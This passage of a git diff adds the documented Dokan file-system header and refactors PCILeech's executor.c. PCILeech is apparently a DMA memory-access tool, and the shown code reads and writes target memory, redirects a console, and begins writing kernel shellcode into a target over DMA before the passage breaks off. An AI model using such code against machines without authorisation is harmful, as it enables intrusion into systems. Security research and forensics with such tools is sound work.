requested by the Kernel on the FileSystem. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + */ + NTSTATUS(DOKAN_CALLBACK *FlushFileBuffers)(LPCWSTR FileName, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief GetFileInformation Dokan API callback + * + * Get specific informations on a file. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param Buffer BY_HANDLE_FILE_INFORMATION struct to fill. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + */ + NTSTATUS(DOKAN_CALLBACK *GetFileInformation)(LPCWSTR FileName, + LPBY_HANDLE_FILE_INFORMATION Buffer, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief FindFiles Dokan API callback + * + * List all files in the path requested + * \ref DOKAN_OPERATIONS.FindFilesWithPattern is checking first. If it is not implemented or + * returns \c STATUS_NOT_IMPLEMENTED, then FindFiles is called, if implemented. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param FillFindData Callback that has to be called with PWIN32_FIND_DATAW that contain file information. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see FindFilesWithPattern + */ + NTSTATUS(DOKAN_CALLBACK *FindFiles)(LPCWSTR FileName, + PFillFindData FillFindData, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief FindFilesWithPattern Dokan API callback + * + * Same as \ref DOKAN_OPERATIONS.FindFiles but with a search pattern. + * + * \param PathName Path requested by the Kernel on the FileSystem. + * \param SearchPattern Search pattern. + * \param FillFindData Callback that has to be called with PWIN32_FIND_DATAW that contain file information. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see FindFiles + */ + NTSTATUS(DOKAN_CALLBACK *FindFilesWithPattern)(LPCWSTR PathName, + LPCWSTR SearchPattern, + PFillFindData FillFindData, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief SetFileAttributes Dokan API callback + * + * Set file attributes on a specific file + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param FileAttributes FileAttributes to set on file. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + */ + NTSTATUS(DOKAN_CALLBACK *SetFileAttributes)(LPCWSTR FileName, + DWORD FileAttributes, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief SetFileTime Dokan API callback + * + * Set file attributes on a specific file + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param CreationTime Creation FILETIME. + * \param LastAccessTime LastAccess FILETIME. + * \param LastWriteTime LastWrite FILETIME. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + */ + NTSTATUS(DOKAN_CALLBACK *SetFileTime)(LPCWSTR FileName, + CONST FILETIME *CreationTime, + CONST FILETIME *LastAccessTime, + CONST FILETIME *LastWriteTime, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief DeleteFile Dokan API callback + * + * Check if it is possible to delete a file. + * + * DeleteFile will also be called with DOKAN_FILE_INFO.DeleteOnClose set to \c FALSE + * to notify the driver when the file is no longer requested to be deleted. + * + * You should not delete the file in DeleteFile, but instead + * you must only check whether you can delete the file or not, + * and return \c STATUS_SUCCESS (when you can delete it) or appropriate error + * codes such as \c STATUS_ACCESS_DENIED or \c STATUS_OBJECT_NAME_NOT_FOUND. + * + * When you return \c STATUS_SUCCESS, you get a Cleanup call afterwards with + * DOKAN_FILE_INFO.DeleteOnClose set to \c TRUE and only then you have to actually + * delete the file being closed + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see DeleteDirectory + * \see Cleanup + */ + NTSTATUS(DOKAN_CALLBACK *DeleteFile)(LPCWSTR FileName, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief DeleteDirectory Dokan API callback + * + * Check if it is possible to delete a directory. + * + * DeleteDirectory will also be called with DOKAN_FILE_INFO.DeleteOnClose set to \c FALSE + * to notify the driver when the file is no longer requested to be deleted. + * + * You should not delete the Directory in DeleteDirectory, but instead + * you must only check whether you can delete the file or not, + * and return \c STATUS_SUCCESS (when you can delete it) or appropriate error + * codes such as \c STATUS_ACCESS_DENIED, \c STATUS_OBJECT_PATH_NOT_FOUND, + * or \c STATUS_DIRECTORY_NOT_EMPTY. + * + * When you return \c STATUS_SUCCESS, you get a Cleanup call afterwards with + * DOKAN_FILE_INFO.DeleteOnClose set to \c TRUE and only then you have to actually + * delete the file being closed + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result. + * \ref DeleteFile + * \ref Cleanup + */ + NTSTATUS(DOKAN_CALLBACK *DeleteDirectory)(LPCWSTR FileName, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief MoveFile Dokan API callback + * + * Move a file or directory to his new destination + * + * \param FileName Path to the file to move. + * \param NewFileName Path for the new location of the file + * \param ReplaceIfExisting Can replace or not if destination already exist. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + */ + NTSTATUS(DOKAN_CALLBACK *MoveFile)(LPCWSTR FileName, + LPCWSTR NewFileName, + BOOL ReplaceIfExisting, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief SetEndOfFile Dokan API callback + * + * SetEndOfFile is used to truncate or extend a file (physical file size). + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param ByteOffset File length to set. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + */ + NTSTATUS(DOKAN_CALLBACK *SetEndOfFile)(LPCWSTR FileName, + LONGLONG ByteOffset, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief SetAllocationSize Dokan API callback + * + * SetAllocationSize is used to truncate or extend a file. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param AllocSize File length to set. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + */ + NTSTATUS(DOKAN_CALLBACK *SetAllocationSize)(LPCWSTR FileName, + LONGLONG AllocSize, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief LockFile Dokan API callback + * + * Lock file at a specific offset and data length. + * This is only used if \ref DOKAN_OPTION_FILELOCK_USER_MODE is enabled. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param ByteOffset Offset from where the lock has to be proceed. + * \param Length Data length to lock. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see UnlockFile + */ + NTSTATUS(DOKAN_CALLBACK *LockFile)(LPCWSTR FileName, + LONGLONG ByteOffset, + LONGLONG Length, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief UnlockFile Dokan API callback + * + * Unlock file at a specific offset and data length. + * This is only used if \ref DOKAN_OPTION_FILELOCK_USER_MODE is enabled. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param ByteOffset Offset from where the lock has to be proceed. + * \param Length Data length to lock. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see LockFile + */ + NTSTATUS(DOKAN_CALLBACK *UnlockFile)(LPCWSTR FileName, + LONGLONG ByteOffset, + LONGLONG Length, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief GetDiskFreeSpace Dokan API callback + * + * Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, + * the total amount of free space, and the total amount of free space available to the user that is associated with the calling thread. + * + * Neither GetDiskFreeSpace nor \ref GetVolumeInformation + * save the DOKAN_FILE_INFO.Context. + * Before these methods are called, \ref ZwCreateFile may not be called. + * (ditto \ref CloseFile and \ref Cleanup) + * + * \param FreeBytesAvailable Amount of available space. + * \param TotalNumberOfBytes Total size of storage space + * \param TotalNumberOfFreeBytes Amount of free space + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result. + * \see GetDiskFreeSpaceEx function (MSDN) + * \see GetVolumeInformation + */ + NTSTATUS(DOKAN_CALLBACK *GetDiskFreeSpace)(PULONGLONG FreeBytesAvailable, + PULONGLONG TotalNumberOfBytes, + PULONGLONG TotalNumberOfFreeBytes, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief GetVolumeInformation Dokan API callback + * + * Retrieves information about the file system and volume associated with the specified root directory. + * + * Neither GetVolumeInformation nor GetDiskFreeSpace + * save the \ref DOKAN_FILE_INFO#Context. + * Before these methods are called, \ref ZwCreateFile may not be called. + * (ditto \ref CloseFile and \ref Cleanup) + * + * \c FILE_READ_ONLY_VOLUME is automatically added to the + * FileSystemFlags if \ref DOKAN_OPTION_WRITE_PROTECT was + * specified in DOKAN_OPTIONS when the volume was mounted. + * + * \param VolumeNameBuffer A pointer to a buffer that receives the name of a specified volume. + * \param VolumeNameSize The length of a volume name buffer. + * \param VolumeSerialNumber A pointer to a variable that receives the volume serial number. + * \param MaximumComponentLength A pointer to a variable that receives the maximum length. + * \param FileSystemFlags A pointer to a variable that receives flags associated with the specified file system. + * \param FileSystemNameBuffer A pointer to a buffer that receives the name of the file system. + * \param FileSystemNameSize The length of the file system name buffer. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see GetVolumeInformation function (MSDN) + * \see GetDiskFreeSpace + */ + NTSTATUS(DOKAN_CALLBACK *GetVolumeInformation)(LPWSTR VolumeNameBuffer, + DWORD VolumeNameSize, + LPDWORD VolumeSerialNumber, + LPDWORD MaximumComponentLength, + LPDWORD FileSystemFlags, + LPWSTR FileSystemNameBuffer, + DWORD FileSystemNameSize, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief Mounted Dokan API callback + * + * Is called when Dokan succeed to mount the volume. + * + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see Unmounted + */ + NTSTATUS(DOKAN_CALLBACK *Mounted)(PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief Unmounted Dokan API callback + * + * Is called when Dokan is unmounting the volume. + * + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result. + * \see Unmounted + */ + NTSTATUS(DOKAN_CALLBACK *Unmounted)(PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief GetFileSecurity Dokan API callback + * + * Get specified information about the security of a file or directory. + * + * Return \c STATUS_BUFFER_OVERFLOW if buffer size is too small. + * + * \since Supported since version 0.6.0. You must specify the version in \ref DOKAN_OPTIONS.Version. + * \param FileName File path requested by the Kernel on the FileSystem. + * \param SecurityInformation A SECURITY_INFORMATION value that identifies the security information being requested. + * \param SecurityDescriptor A pointer to a buffer that receives a copy of the security descriptor of the requested file. + * \param BufferLength Specifies the size, in bytes, of the buffer. + * \param LengthNeeded A pointer to the variable that receives the number of bytes necessary to store the complete security descriptor. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see SetFileSecurity + * \see GetFileSecurity function (MSDN) + */ + NTSTATUS(DOKAN_CALLBACK *GetFileSecurity)(LPCWSTR FileName, + PSECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG BufferLength, + PULONG LengthNeeded, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief SetFileSecurity Dokan API callback + * + * Sets the security of a file or directory object. + * + * \since Supported since version 0.6.0. You must specify the version in \ref DOKAN_OPTIONS.Version. + * \param FileName File path requested by the Kernel on the FileSystem. + * \param SecurityInformation Structure that identifies the contents of the security descriptor pointed by \a SecurityDescriptor param. + * \param SecurityDescriptor A pointer to a SECURITY_DESCRIPTOR structure. + * \param BufferLength Specifies the size, in bytes, of the buffer. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see GetFileSecurity + * \see SetFileSecurity function (MSDN) + */ + NTSTATUS(DOKAN_CALLBACK *SetFileSecurity)(LPCWSTR FileName, + PSECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG BufferLength, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief FindStreams Dokan API callback + * + * Retrieve all NTFS Streams informations on the file. + * This is only called if \ref DOKAN_OPTION_ALT_STREAM is enabled. + * + * \since Supported since version 0.8.0. You must specify the version in \ref DOKAN_OPTIONS.Version. + * \param FileName File path requested by the Kernel on the FileSystem. + * \param FillFindStreamData Callback that has to be called with PWIN32_FIND_STREAM_DATA that contain stream information. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + */ + NTSTATUS(DOKAN_CALLBACK *FindStreams)(LPCWSTR FileName, + PFillFindStreamData FillFindStreamData, + PDOKAN_FILE_INFO DokanFileInfo); + +} DOKAN_OPERATIONS, *PDOKAN_OPERATIONS; + +// clang-format on + +/** +* \struct DOKAN_CONTROL +* \brief Dokan Control +*/ +typedef struct _DOKAN_CONTROL { + /** File System Type */ + ULONG Type; + /** Mount point. Can be "M:\" (drive letter) or "C:\mount\dokan" (path in NTFS) */ + WCHAR MountPoint[MAX_PATH]; + /** UNC name used for network volume */ + WCHAR UNCName[64]; + /** Disk Device Name */ + WCHAR DeviceName[64]; + /** Volume Device Object */ + PVOID DeviceObject; +} DOKAN_CONTROL, *PDOKAN_CONTROL; + +/** + * \defgroup DokanMainResult DokanMainResult + * \brief \ref DokanMain returns error codes + */ +/** @{ */ + +/** Dokan mount succeed. */ +#define DOKAN_SUCCESS 0 +/** Dokan mount error. */ +#define DOKAN_ERROR -1 +/** Dokan mount failed - Bad drive letter. */ +#define DOKAN_DRIVE_LETTER_ERROR -2 +/** Dokan mount failed - Can't install driver. */ +#define DOKAN_DRIVER_INSTALL_ERROR -3 +/** Dokan mount failed - Driver answer that something is wrong. */ +#define DOKAN_START_ERROR -4 +/** + * Dokan mount failed. + * Can't assign a drive letter or mount point. + * Probably already used by another volume. + */ +#define DOKAN_MOUNT_ERROR -5 +/** + * Dokan mount failed. + * Mount point is invalid. + */ +#define DOKAN_MOUNT_POINT_ERROR -6 +/** + * Dokan mount failed. + * Requested an incompatible version. + */ +#define DOKAN_VERSION_ERROR -7 + +/** @} */ + +/** + * \defgroup Dokan Dokan + */ +/** @{ */ + +/** + * \brief Mount a new Dokan Volume. + * + * This function block until the device is unmount. + * If the mount fail, it will directly return \ref DokanMainResult error. + * + * \param DokanOptions a \ref DOKAN_OPTIONS that describe the mount. + * \param DokanOperations Instance of \ref DOKAN_OPERATIONS that will be called for each request made by the kernel. + * \return \ref DokanMainResult status. + */ +int DOKANAPI DokanMain(PDOKAN_OPTIONS DokanOptions, + PDOKAN_OPERATIONS DokanOperations); + +/** + * \brief Unmount a dokan device from a driver letter. + * + * \param DriveLetter Dokan driver letter to unmount. + * \return \c TRUE if device was unmount or False in case of failure or device not found. + */ +BOOL DOKANAPI DokanUnmount(WCHAR DriveLetter); + +/** + * \brief Unmount a dokan device from a mount point + * + * \param MountPoint Mount point to unmount ("Z", "Z:", "Z:\", "Z:\MyMountPoint"). + * \return \c TRUE if device was unmount or False in case of failure or device not found. + */ +BOOL DOKANAPI DokanRemoveMountPoint(LPCWSTR MountPoint); + +/** + * \brief Unmount a dokan device from a mount point + * + * Same as \ref DokanRemoveMountPoint + * If Safe is \c TRUE, will broadcast to all desktop and Shell + * Safe should not be used during DLL_PROCESS_DETACH + * + * \see DokanRemoveMountPoint + * + * \param MountPoint Mount point to unmount ("Z", "Z:", "Z:\", "Z:\MyMountPoint"). + * \param Safe Process is not in DLL_PROCESS_DETACH state. + * \return True if device was unmount or False in case of failure or device not found. + */ +BOOL DOKANAPI DokanRemoveMountPointEx(LPCWSTR MountPoint, BOOL Safe); + +/** + * \brief Checks whether Name can match Expression + * + * \param Expression Expression can contain wildcard characters (? and *) + * \param Name Name to check + * \param IgnoreCase Case sensitive or not + * \return result if name match the expression + */ +BOOL DOKANAPI DokanIsNameInExpression(LPCWSTR Expression, LPCWSTR Name, + BOOL IgnoreCase); + +/** + * \brief Get the version of Dokan. + * The returned ULONG is the version number without the dots. + * \return The version of Dokan + */ +ULONG DOKANAPI DokanVersion(); + +/** + * \brief Get the version of the Dokan driver. + * The returned ULONG is the version number without the dots. + * \return The version of Dokan driver. + */ +ULONG DOKANAPI DokanDriverVersion(); + +/** + * \brief Extends the time out of the current IO operation in driver. + * + * \param Timeout Extended time in milliseconds requested. + * \param DokanFileInfo \ref DOKAN_FILE_INFO of the operation to extend. + * \return If the operation was successful. + */ +BOOL DOKANAPI DokanResetTimeout(ULONG Timeout, PDOKAN_FILE_INFO DokanFileInfo); + +/** + * \brief Get the handle to Access Token. + * + * This method needs be called in CreateFile callback. + * The caller must call CloseHandle + * for the returned handle. + * + * \param DokanFileInfo \ref DOKAN_FILE_INFO of the operation to extend. + * \return A handle to the account token for the user on whose behalf the code is running. + */ +HANDLE DOKANAPI DokanOpenRequestorToken(PDOKAN_FILE_INFO DokanFileInfo); + +/** + * \brief Get active Dokan mount points. + * + * \param list Allocate array of DOKAN_CONTROL. + * \param length Number of \ref DOKAN_CONTROL instance in list. + * \param uncOnly Get only instances that have UNC Name. + * \param nbRead Number of instances successfully retrieved. + * \return List retrieved or not. + */ +BOOL DOKANAPI DokanGetMountPointList(PDOKAN_CONTROL list, ULONG length, + BOOL uncOnly, PULONG nbRead); + +/** + * \brief Convert \ref DOKAN_OPERATIONS.ZwCreateFile parameters to CreateFile parameters. + * + * \param FileAttributes FileAttributes from \ref DOKAN_OPERATIONS.ZwCreateFile. + * \param CreateOptions CreateOptions from \ref DOKAN_OPERATIONS.ZwCreateFile. + * \param CreateDisposition CreateDisposition from \ref DOKAN_OPERATIONS.ZwCreateFile. + * \param outFileAttributesAndFlags New CreateFile dwFlagsAndAttributes. + * \param outCreationDisposition New CreateFile dwCreationDisposition. + * \see CreateFile function (MSDN) + */ +void DOKANAPI DokanMapKernelToUserCreateFileFlags( + ULONG FileAttributes, ULONG CreateOptions, ULONG CreateDisposition, + DWORD *outFileAttributesAndFlags, DWORD *outCreationDisposition); + +/** +* \brief Convert IRP_MJ_CREATE DesiredAccess to generic rights. +* +* \param DesiredAccess Standard rights to convert +* \return New DesiredAccess with generic rights. +* \see Access Mask (MSDN) +*/ +ACCESS_MASK DOKANAPI DokanMapStandardToGenericAccess(ACCESS_MASK DesiredAccess); + +/** + * \brief Convert WIN32 error to NTSTATUS + * + * https://support.microsoft.com/en-us/kb/113996 + * + * \param Error Win32 Error to convert + * \return NTSTATUS associate to the ERROR. + */ +NTSTATUS DOKANAPI DokanNtStatusFromWin32(DWORD Error); + +/** @} */ + +#ifdef __cplusplus +} +#endif + +#endif // DOKAN_H_ diff --git a/pcileech/executor.c b/pcileech/executor.c index 74a13fc..1f7ed6c 100644 --- a/pcileech/executor.c +++ b/pcileech/executor.c @@ -29,8 +29,7 @@ typedef struct tdEXEC_IO { } EXEC_IO, *PEXEC_IO; typedef struct tdCONSOLEREDIR_THREADDATA { - PCONFIG pCfg; - PDEVICE_DATA pDeviceData; + PPCILEECH_CONTEXT ctx; HANDLE hThreadIS; HANDLE hThreadOS; PEXEC_IO pInfoIS; @@ -40,9 +39,7 @@ typedef struct tdCONSOLEREDIR_THREADDATA { } CONSOLEREDIR_THREADDATA, *PCONSOLEREDIR_THREADDATA; typedef struct tdEXEC_HANDLE { - PCONFIG pCfg; - PDEVICE_DATA pDeviceData; - PKMDDATA pk; + PPCILEECH_CONTEXT ctx; PBYTE pbDMA; HANDLE hFileOutput; QWORD qwFileWritten; @@ -87,15 +84,14 @@ DWORD ConsoleRedirect_ThreadConsoleOutput(PCONSOLEREDIR_THREADDATA pd) } } -BOOL Exec_ConsoleRedirect_Initialize(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _Inout_ PCONSOLEREDIR_THREADDATA pd) +BOOL Exec_ConsoleRedirect_Initialize(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _Inout_ PCONSOLEREDIR_THREADDATA pd) { BOOL result; - pd->pCfg = pCfg; - pd->pDeviceData = pDeviceData; + pd->ctx = ctx; pd->pInfoIS = (PEXEC_IO)pd->pbDataISConsoleBuffer; pd->pInfoOS = (PEXEC_IO)pd->pbDataOSConsoleBuffer; // read initial buffer and check validity - result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0); + result = DeviceReadMEM(ctx, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0); if(!result || (pd->pInfoOS->magic != EXEC_IO_MAGIC)) { return FALSE; } @@ -105,30 +101,30 @@ BOOL Exec_ConsoleRedirect_Initialize(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevic return TRUE; } -VOID Exec_ConsoleRedirect(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream) +VOID Exec_ConsoleRedirect(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream) { BOOL result; PCONSOLEREDIR_THREADDATA pd = LocalAlloc(LMEM_ZEROINIT, sizeof(CONSOLEREDIR_THREADDATA)); if(!pd) { return; } - result = Exec_ConsoleRedirect_Initialize(pCfg, pDeviceData, ConsoleBufferAddr_InputStream, ConsoleBufferAddr_OutputStream, pd); + result = Exec_ConsoleRedirect_Initialize(ctx, ConsoleBufferAddr_InputStream, ConsoleBufferAddr_OutputStream, pd); if(!result) { printf("\nCONSOLE_REDIRECT: Error: Address 0x%016llX does not\ncontain a valid console buffer.\n", ConsoleBufferAddr_OutputStream); return; } // buffer syncer while(TRUE) { - result = DeviceReadMEM(pDeviceData, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0); + result = DeviceReadMEM(ctx, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, 0); if(!result || pd->pInfoOS->magic != EXEC_IO_MAGIC) { printf("\nCONSOLE_REDIRECT: Error: Address 0x%016llX does not\ncontain a valid console buffer.\n", ConsoleBufferAddr_OutputStream); return; } - DeviceWriteMEM(pDeviceData, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000, 0); + DeviceWriteMEM(ctx, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000, 0); } TerminateThread(pd->hThreadIS, 0); TerminateThread(pd->hThreadOS, 0); } -VOID Exec_Callback(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDDATA pk, _Inout_ PHANDLE phCallback) +VOID Exec_Callback(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PHANDLE phCallback) { BOOL result; PEXEC_HANDLE ph = *phCallback; @@ -138,39 +134,37 @@ VOID Exec_Callback(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDDA // core initialize ph = *phCallback = LocalAlloc(LMEM_ZEROINIT, sizeof(EXEC_HANDLE)); if(!ph) { return; } - ph->pbDMA = LocalAlloc(LMEM_ZEROINIT, pk->dataOutExtraLengthMax); + ph->pbDMA = LocalAlloc(LMEM_ZEROINIT, ctx->pk->dataOutExtraLengthMax); if(!ph->pbDMA) { LocalFree(ph); *phCallback = NULL; return; } - ph->pCfg = pCfg; - ph->pDeviceData = pDeviceData; - ph->pk = pk; + ph->ctx = ctx; ph->is.magic = EXEC_IO_MAGIC; // open output file - ph->hFileOutput = CreateFileA(pCfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + ph->hFileOutput = CreateFileA(ctx->cfg->szFileOut, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if(!ph->hFileOutput || (ph->hFileOutput == INVALID_HANDLE_VALUE)) { ph->hFileOutput = NULL; ph->is.bin.fCompletedAck = TRUE; - DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, (PBYTE)&ph->is, 0x1000, 0); + DeviceWriteDMA(ctx, ctx->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, (PBYTE)&ph->is, 0x1000, 0); ph->fError = TRUE; - printf("EXEC: Failed writing large outut to file: %s\n", ph->pCfg->szFileOut); + printf("EXEC: Failed writing large outut to file: %s\n", ctx->cfg->szFileOut); return; } - printf("EXEC: Start writing large output to file: %s\n", ph->pCfg->szFileOut); + printf("EXEC: Start writing large output to file: %s\n", ctx->cfg->szFileOut); } // write to output file and ack to buffer if(ph->is.bin.fCompletedAck) { return; } - DeviceReadDMA(pDeviceData, ph->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_OS, (PBYTE)&ph->os, 0x1000, 0); + DeviceReadDMA(ctx, ctx->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_OS, (PBYTE)&ph->os, 0x1000, 0); if(ph->os.magic != EXEC_IO_MAGIC) { return; } if(ph->is.bin.seqAck >= ph->os.bin.seq) { return; } cbLength = 0; result = - DeviceReadDMA(pDeviceData, ph->pk->DMAAddrPhysical + ph->pk->dataOutExtraOffset, ph->pbDMA, (DWORD)SIZE_PAGE_ALIGN_4K(ph->pk->dataOutExtraLength), 0) && - WriteFile(ph->hFileOutput, ph->pbDMA, (DWORD)ph->pk->dataOutExtraLength, &cbLength, NULL) && - (ph->pk->dataOutExtraLength == cbLength); + DeviceReadDMA(ctx, ctx->pk->DMAAddrPhysical + ctx->pk->dataOutExtraOffset, ph->pbDMA, (DWORD)SIZE_PAGE_ALIGN_4K(ctx->pk->dataOutExtraLength), 0) && + WriteFile(ph->hFileOutput, ph->pbDMA, (DWORD)ctx->pk->dataOutExtraLength, &cbLength, NULL) && + (ctx->pk->dataOutExtraLength == cbLength); ph->qwFileWritten += cbLength; ph->fError = !result; ph->is.bin.fCompletedAck = ph->is.bin.fCompletedAck || ph->os.bin.fCompleted || !result; ph->is.bin.seqAck = ph->os.bin.seq; - DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, (PBYTE)&ph->is, 0x1000, 0); + DeviceWriteDMA(ctx, ctx->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, (PBYTE)&ph->is, 0x1000, 0); } VOID Exec_CallbackClose(_In_ HANDLE hCallback) @@ -179,7 +173,7 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback) if(hCallback == NULL) { return; } if(ph->hFileOutput) { if(ph->fError) { - printf("EXEC: Failed writing large outut to file: %s\n", ph->pCfg->szFileOut); + printf("EXEC: Failed writing large outut to file: %s\n", ph->ctx->cfg->szFileOut); } else { printf("EXEC: Successfully wrote %i bytes.\n", ph->qwFileWritten); } @@ -189,9 +183,9 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback) LocalFree(ph); } -BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut) +BOOL Exec_ExecSilent(_Inout_ PPCILEECH_CONTEXT ctx, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut) { - PKMDDATA pk; + PKMDDATA pk = ctx->pk; BOOL result = FALSE; DWORD cbBuffer; PBYTE pbBuffer = NULL; @@ -199,12 +193,11 @@ BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPST //------------------------------------------------ // 1: Setup and initial validity checks. //------------------------------------------------ - if(!pDeviceData->KMDHandle) { goto fail; } - pk = ((PKMDHANDLE)pDeviceData->KMDHandle)->status; + if(!ctx->phKMD) { goto fail; } result = Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec); if(!result) { goto fail; } cbBuffer = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode) + SIZE_PAGE_ALIGN_4K(cbIn); - if(!result || (pk->DMASizeBuffer < cbBuffer)) { result = FALSE; goto fail; } + if(!result || (ctx->pk->DMASizeBuffer < cbBuffer)) { result = FALSE; goto fail; } pbBuffer = LocalAlloc(LMEM_ZEROINIT, cbBuffer); if(!pbBuffer) { result = FALSE; goto fail; } //------------------------------------------------ @@ -216,7 +209,7 @@ BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPST //------------------------------------------------ memcpy(pbBuffer, pKmdExec->pbShellcode, pKmdExec->cbShellcode); memcpy(pbBuffer + SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode), pbIn, cbIn); - result = DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical, 